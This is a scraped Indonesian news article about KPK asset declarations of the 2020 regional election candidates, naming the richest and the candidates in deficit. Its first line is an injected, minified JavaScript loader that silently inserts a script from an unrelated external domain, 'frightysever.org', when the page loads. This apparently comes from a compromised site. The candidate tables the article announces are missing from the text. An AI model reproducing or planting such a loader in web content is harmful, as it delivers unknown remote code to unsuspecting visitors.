(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Daftar calon kepala daerah terkaya diliris. Tiga besar di antaranya dari Kalimantan.
Kepala daerah terkaya adalah calon Wakil Gubernur Kalimantan Selatan H Muhidin dengan nilai harta Rp 674.227.888.866.
Hal ini berdasarkan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) yang akan mengikuti Pilkada Serentak pada 9 Desember 2020.
Muhidin mencatatkan nilai harta tertinggi yaitu sebesar Rp 674.227.888.866 dengan nilai aset terbesar berupa 19 harta tidak bergerak dengan total sebesar Rp 293.600.695.000.
Sedangkan calon kepala daerah dengan nilai pelaporan harta terkecil calon Wakil Bupati Kabupaten Sijunjung Indra Gunalan yang melaporkan total nilai harta defisit sebesar Rp 3.550.090.050. Defisit tersebut disebabkan adanya kepemilikan utang sebesar Rp 7,9 miliar.
“Kalau dia kepilih kita klarifikasi kok bisa harta defisit maju (pilkada), ada juga calon Bupati Nabire hartanya Rp 15 juta, kampanyenya bagaimana ya? Entah dia melaporkan benar atau tidak benar,” kata Deputi Pencegahan KPK Pahala Nainggolan dalam konferensi pers di gedung KPK Jakarta, Jumat (4/12/2020).
Pahala berharap masyarakat yang akan mengikuti pilkada di daerah tersebut juga mencermati jumlah harta kekayaan calon kepala daerah tersebut.
“Kok boleh ya minus?” tambah Pahala.
Berikut adalah daftar calon kepala daerah terkaya:
Sedangkan daftar 10 calon kepala daerah “termiskin” karena LHKPN-nya minus adalah sebagai berikut:
Pilkada 2020 diselenggarakan di 9 provinsi dan 261 kabupaten/kota di Indonesia yang diikuti oleh 1.476 cakada atau 738 pasangan calon yang terdiri atas 25 pasangan calon gubernur dan wakil gubernur, 612 calon bupati dan wakil bupati, serta 101 pasangan calon wali kota dan wakil wali kota. Dari 1.476 cakada tersebut, 332 orang di antaranya adalah petahana.
Syarat melaporkan LHKPN bagi para kandidat tertuang dalam UU Nomor 10 Tahun 2016 tentang Pemilihan Gubernur, Bupati dan Wali Kota serta UU Nomor 11 tahun 2016 tentang Pemerintah Aceh yang menyebutkan bahwa “Tanda Terima LHKPN merupakan salah satu persyaratan dalam pemilihan Gubernur, Bupati dan Wali kota”.
Surat Edaran Komisi Pemberantasan Korupsi Nomor 71 Tahun 2020 menyatakan pasangan bakal Calon Gubernur dan Wakil Gubernur, pasangan bakal Calon Bupati dan Wakil Bupati, serta pasangan bakal Calon Wali Kota dan Wakil Wali Kota wajib menyampaikan LHKPN ke KPK. (antara/suara.com)
Â
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.